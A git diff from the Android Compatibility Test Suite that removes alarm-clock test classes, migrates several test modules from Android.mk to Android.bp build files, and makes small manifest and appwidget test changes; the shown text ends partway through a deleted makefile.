deleted file mode 100644
index 64ecf86..0000000
--- a/tests/tests/alarmclock/src/android/alarmclock/cts/DismissAlarmTest.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.alarmclock.cts;
-
-import android.alarmclock.common.Utils;
-import android.alarmclock.common.Utils.TestcaseType;
-
-public class DismissAlarmTest extends AlarmClockTestBase {
-    public DismissAlarmTest() {
-        super();
-    }
-
-    public void testAll() throws Exception {
-        assertEquals(Utils.COMPLETION_RESULT, runTest(TestcaseType.SET_ALARM_FOR_DISMISSAL));
-        assertEquals(Utils.COMPLETION_RESULT, runTest(TestcaseType.DISMISS_ALARM));
-    }
-}
diff --git a/tests/tests/alarmclock/src/android/alarmclock/cts/DismissTimerTest.java b/tests/tests/alarmclock/src/android/alarmclock/cts/DismissTimerTest.java
deleted file mode 100644
index a4c0d0a..0000000
--- a/tests/tests/alarmclock/src/android/alarmclock/cts/DismissTimerTest.java
+++ /dev/null
@@ -1,38 +0,0 @@
-package android.alarmclock.cts;
-
-import android.alarmclock.common.Utils;
-import android.content.Context;
-import android.media.AudioManager;
-
-public class DismissTimerTest extends AlarmClockTestBase {
-
-    private int mSavedVolume;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        // The timer may ring between expiration and dismissal; silence this.
-        final AudioManager audioManager = (AudioManager) getInstrumentation().getTargetContext()
-                .getSystemService(Context.AUDIO_SERVICE);
-        mSavedVolume = audioManager.getStreamVolume(AudioManager.STREAM_ALARM);
-        audioManager.setStreamVolume(AudioManager.STREAM_ALARM, 0, 0);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        final AudioManager audioManager = (AudioManager) getInstrumentation().getTargetContext()
-                .getSystemService(Context.AUDIO_SERVICE);
-        audioManager.setStreamVolume(AudioManager.STREAM_ALARM, mSavedVolume, 0);
-    }
-
-    public void testAll() throws Exception {
-        assertEquals(Utils.COMPLETION_RESULT, runTest(Utils.TestcaseType.SET_TIMER_FOR_DISMISSAL));
-        try {
-            Thread.sleep(5000);
-        } catch (InterruptedException ignored) {
-        }
-        assertEquals(Utils.COMPLETION_RESULT, runTest(Utils.TestcaseType.DISMISS_TIMER));
-    }
-}
diff --git a/tests/tests/alarmclock/src/android/alarmclock/cts/SetAlarmTest.java b/tests/tests/alarmclock/src/android/alarmclock/cts/SetAlarmTest.java
deleted file mode 100644
index a95a1dd..0000000
--- a/tests/tests/alarmclock/src/android/alarmclock/cts/SetAlarmTest.java
+++ /dev/null
@@ -1,30 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.alarmclock.cts;
-
-import android.alarmclock.common.Utils;
-import android.alarmclock.common.Utils.TestcaseType;
-
-public class SetAlarmTest extends AlarmClockTestBase {
-    public SetAlarmTest() {
-        super();
-    }
-
-    public void testAll() throws Exception {
-        assertEquals(Utils.COMPLETION_RESULT, runTest(TestcaseType.SET_ALARM));
-    }
-}
diff --git a/tests/tests/alarmclock/src/android/alarmclock/cts/SnoozeAlarmTest.java b/tests/tests/alarmclock/src/android/alarmclock/cts/SnoozeAlarmTest.java
deleted file mode 100644
index b67a7cf..0000000
--- a/tests/tests/alarmclock/src/android/alarmclock/cts/SnoozeAlarmTest.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.alarmclock.cts;
-
-import android.alarmclock.common.Utils;
-import android.alarmclock.common.Utils.TestcaseType;
-
-public class SnoozeAlarmTest extends AlarmClockTestBase {
-    public SnoozeAlarmTest() {
-        super();
-    }
-
-    public void testAll() throws Exception {
-        String result = runTest(TestcaseType.SNOOZE_ALARM);
-        // Since there is no way to figure out if there is a currently-firing alarm,
-        // we should expect either of the 2 results:
-        //      Utils.COMPLETION_RESULT
-        //      Utils.ABORT_RESULT
-        // For CTS test purposes, all we can do is to know that snooze-alarm intent
-        // was picked up and processed by the voice_interaction_service and the associated app.
-        // The above call to runTest() would have failed the test otherwise.
-        assertTrue(result.equals(Utils.ABORT_RESULT) || result.equals(Utils.COMPLETION_RESULT));
-    }
-}
diff --git a/tests/tests/alarmclock/src/android/alarmclock/cts/TestStartActivity.java b/tests/tests/alarmclock/src/android/alarmclock/cts/TestStartActivity.java
deleted file mode 100644
index 1a3c4eb..0000000
--- a/tests/tests/alarmclock/src/android/alarmclock/cts/TestStartActivity.java
+++ /dev/null
@@ -1,80 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.alarmclock.cts;
-
-import android.alarmclock.common.Utils;
-import android.app.Activity;
-import android.content.Intent;
-import android.content.ComponentName;
-import android.os.Bundle;
-import android.util.Log;
-
-public class TestStartActivity extends Activity {
-    static final String TAG = "TestStartActivity";
-
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        Log.i(TAG, " in onCreate");
-    }
-
-    @Override
-    protected void onResume() {
-        super.onResume();
-        Log.i(TAG, " in onResume");
-    }
-
-    void startTest(String testCaseType) {
-        Intent intent = new Intent();
-        Log.i(TAG, "received_testcasetype = " + testCaseType);
-        intent.putExtra(Utils.TESTCASE_TYPE, testCaseType);
-        intent.setAction("android.intent.action.VIMAIN_" + testCaseType);
-        intent.setComponent(new ComponentName("android.alarmclock.service",
-                "android.alarmclock.service.VoiceInteractionMain"));
-        startActivity(intent);
-    }
-
-    @Override
-    protected void onPause() {
-        Log.i(TAG, " in onPause");
-        super.onPause();
-    }
-
-    @Override
-    protected void onStart() {
-        super.onStart();
-        Log.i(TAG, " in onStart");
-    }
-
-    @Override
-    protected void onRestart() {
-        super.onRestart();
-        Log.i(TAG, " in onRestart");
-    }
-
-    @Override
-    protected void onStop() {
-        Log.i(TAG, " in onStop");
-        super.onStop();
-    }
-
-    @Override
-    protected void onDestroy() {
-        Log.i(TAG, " in onDestroy");
-        super.onDestroy();
-    }
-}
diff --git a/tests/tests/animation/Android.bp b/tests/tests/animation/Android.bp
new file mode 100644
index 0000000..d199cc2
--- /dev/null
+++ b/tests/tests/animation/Android.bp
@@ -0,0 +1,40 @@
+// Copyright (C) 2011 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsAnimationTestCases",
+    defaults: ["cts_defaults"],
+
+    static_libs: [
+        "androidx.test.rules",
+        "mockito-target-minus-junit4",
+        "android-common",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "platform-test-annotations",
+    ],
+
+    libs: ["android.test.runner.stubs"],
+
+    srcs: ["src/**/*.java"],
+
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/animation/Android.mk b/tests/tests/animation/Android.mk
deleted file mode 100644
index b5eb791..0000000
--- a/tests/tests/animation/Android.mk
+++ /dev/null
@@ -1,45 +0,0 @@
-# Copyright (C) 2011 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsAnimationTestCases
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES += \
-    androidx.test.rules \
-    mockito-target-minus-junit4 \
-    android-common \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    platform-test-annotations
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-# Enforce public / test api only
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/app.usage/Android.bp b/tests/tests/app.usage/Android.bp
new file mode 100644
index 0000000..65f2f40
--- /dev/null
+++ b/tests/tests/app.usage/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsUsageStatsTestCases",
+    defaults: ["cts_defaults"],
+    platform_apis: true,
+    static_libs: [
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "junit",
+        "ub-uiautomator",
+    ],
+    libs: [
+        "android.test.base.stubs",
+        "android.test.runner.stubs",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+}
diff --git a/tests/tests/app.usage/Android.mk b/tests/tests/app.usage/Android.mk
deleted file mode 100644
index 38a4fb4..0000000
--- a/tests/tests/app.usage/Android.mk
+++ /dev/null
@@ -1,42 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsUsageStatsTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    junit \
-    ub-uiautomator
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs android.test.runner.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/app.usage/AndroidTest.xml b/tests/tests/app.usage/AndroidTest.xml
index f484075..c1e9b7d 100644
--- a/tests/tests/app.usage/AndroidTest.xml
+++ b/tests/tests/app.usage/AndroidTest.xml
@@ -16,6 +16,8 @@
 <configuration description="Configuration for app.usage Tests">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="token" value="SIM_CARD" />
+    <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsUsageStatsTestCases.apk" />
diff --git a/tests/tests/app/Android.bp b/tests/tests/app/Android.bp
new file mode 100644
index 0000000..122dc6b
--- /dev/null
+++ b/tests/tests/app/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsAndroidAppTestCases",
+    defaults: ["cts_defaults"],
+    platform_apis: true,
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "ctstestrunner-axt",
+        "androidx.test.rules",
+        "junit",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/app/Android.mk b/tests/tests/app/Android.mk
deleted file mode 100644
index ea5d9e6..0000000
--- a/tests/tests/app/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsAndroidAppTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    androidx.test.rules \
-    junit
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/appcomponentfactory/Android.bp b/tests/tests/appcomponentfactory/Android.bp
new file mode 100644
index 0000000..b746d68
--- /dev/null
+++ b/tests/tests/appcomponentfactory/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsAppComponentFactoryTestCases",
+    defaults: ["cts_defaults"],
+    sdk_version: "current",
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "ctstestrunner-axt",
+        "androidx.test.rules",
+        "junit",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/tests/appcomponentfactory/Android.mk b/tests/tests/appcomponentfactory/Android.mk
deleted file mode 100644
index c6434f5..0000000
--- a/tests/tests/appcomponentfactory/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsAppComponentFactoryTestCases
-LOCAL_SDK_VERSION := current
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    androidx.test.rules \
-    junit
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/appcomponentfactory/AndroidTest.xml b/tests/tests/appcomponentfactory/AndroidTest.xml
index 33a46f9..c921218 100644
--- a/tests/tests/appcomponentfactory/AndroidTest.xml
+++ b/tests/tests/appcomponentfactory/AndroidTest.xml
@@ -16,6 +16,8 @@
 <configuration description="Configuration for app Tests">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="misc" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAppComponentFactoryTestCases.apk" />
diff --git a/tests/tests/appwidget/packages/launchermanifest/AndroidManifest-pinActivity.xml b/tests/tests/appwidget/packages/launchermanifest/AndroidManifest-pinActivity.xml
index 57d6ba8..47d1e05 100644
--- a/tests/tests/appwidget/packages/launchermanifest/AndroidManifest-pinActivity.xml
+++ b/tests/tests/appwidget/packages/launchermanifest/AndroidManifest-pinActivity.xml
@@ -15,7 +15,8 @@
  * limitations under the License.
  -->
 
-<manifest xmlns:android="http://schemas.android.com/apk/res/android">
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.appwidget.cts.packages">
 
     <application>
         <activity android:name="AppWidgetConfirmPin">
diff --git a/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV1.xml b/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV1.xml
index ea23176..2c1db2f 100644
--- a/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV1.xml
+++ b/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV1.xml
@@ -15,7 +15,8 @@
  * limitations under the License.
  -->
 
-<manifest xmlns:android="http://schemas.android.com/apk/res/android" >
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.appwidget.cts.widgetprovider">
 
     <application>
         <receiver android:name="android.appwidget.cts.packages.SimpleProvider">
diff --git a/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV2.xml b/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV2.xml
index e46e160..8a070b4 100644
--- a/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV2.xml
+++ b/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV2.xml
@@ -15,7 +15,8 @@
  * limitations under the License.
  -->
 
-<manifest xmlns:android="http://schemas.android.com/apk/res/android" >
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.appwidget.cts.widgetprovider">
 
     <application>
         <receiver android:name="android.appwidget.cts.packages.SimpleProvider">
diff --git a/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV3.xml b/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV3.xml
index 6da740d..f6f012e 100644
--- a/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV3.xml
+++ b/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV3.xml
@@ -15,7 +15,8 @@
  * limitations under the License.
  -->
 
-<manifest xmlns:android="http://schemas.android.com/apk/res/android" >
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.appwidget.cts.widgetprovider">
 
     <application>
         <receiver android:name="android.appwidget.cts.packages.SimpleProvider">
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
index 3fa0948..2bb7dee 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
@@ -90,10 +90,10 @@
     }
 
     private static final String GRANT_BIND_APP_WIDGET_PERMISSION_COMMAND =
-            "appwidget grantbind --package android.appwidget.cts --user %d";
+            "appwidget grantbind --package android.appwidget.cts --user 0";
 
     private static final String REVOKE_BIND_APP_WIDGET_PERMISSION_COMMAND =
-            "appwidget revokebind --package android.appwidget.cts --user %d";
+            "appwidget revokebind --package android.appwidget.cts --user 0";
 
     @AppModeInstant(reason = "Instant apps cannot provide or host app widgets")
     @Test
@@ -1344,13 +1344,11 @@
     }
 
     private void grantBindAppWidgetPermission() throws Exception {
-        runShellCommand(String.format(GRANT_BIND_APP_WIDGET_PERMISSION_COMMAND,
-                Process.myUserHandle().getIdentifier()));
+        runShellCommand(GRANT_BIND_APP_WIDGET_PERMISSION_COMMAND);
     }
 
     private void revokeBindAppWidgetPermission() throws Exception {
-        runShellCommand(String.format(REVOKE_BIND_APP_WIDGET_PERMISSION_COMMAND,
-                Process.myUserHandle().getIdentifier()));
+        runShellCommand(REVOKE_BIND_APP_WIDGET_PERMISSION_COMMAND);
     }
 
     private AppWidgetProviderInfo getFirstAppWidgetProviderInfo() {
diff --git a/tests/tests/assist/Android.bp b/tests/tests/assist/Android.bp
new file mode 100644
index 0000000..632c19e
--- /dev/null
+++ b/tests/tests/assist/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsAssistTestCases",
+    defaults: ["cts_defaults"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    static_libs: [
+        "CtsAssistCommon",
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    srcs: ["src/**/*.java"],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/assist/Android.mk b/tests/tests/assist/Android.mk
deleted file mode 100644
index 36ec735..0000000
--- a/tests/tests/assist/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_STATIC_JAVA_LIBRARIES := CtsAssistCommon ctstestrunner-axt compatibility-device-util-axt
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsAssistTestCases
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/assist/common/Android.bp b/tests/tests/assist/common/Android.bp
new file mode 100644
index 0000000..438178b
--- /dev/null
+++ b/tests/tests/assist/common/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library {
+    name: "CtsAssistCommon",
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+}
diff --git a/tests/tests/assist/common/Android.mk b/tests/tests/assist/common/Android.mk
deleted file mode 100644
index 88c90ee..0000000
--- a/tests/tests/assist/common/Android.mk
+++ /dev/null
@@ -1,30 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE := CtsAssistCommon
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/tests/assist/service/Android.bp b/tests/tests/assist/service/Android.bp
new file mode 100644
index 0000000..d3bb2b6
--- /dev/null
+++ b/tests/tests/assist/service/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsAssistService",
+    defaults: ["cts_support_defaults"],
+    static_libs: [
+        "CtsAssistCommon",
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/tests/assist/service/Android.mk b/tests/tests/assist/service/Android.mk
deleted file mode 100644
index f989776..0000000
--- a/tests/tests/assist/service/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
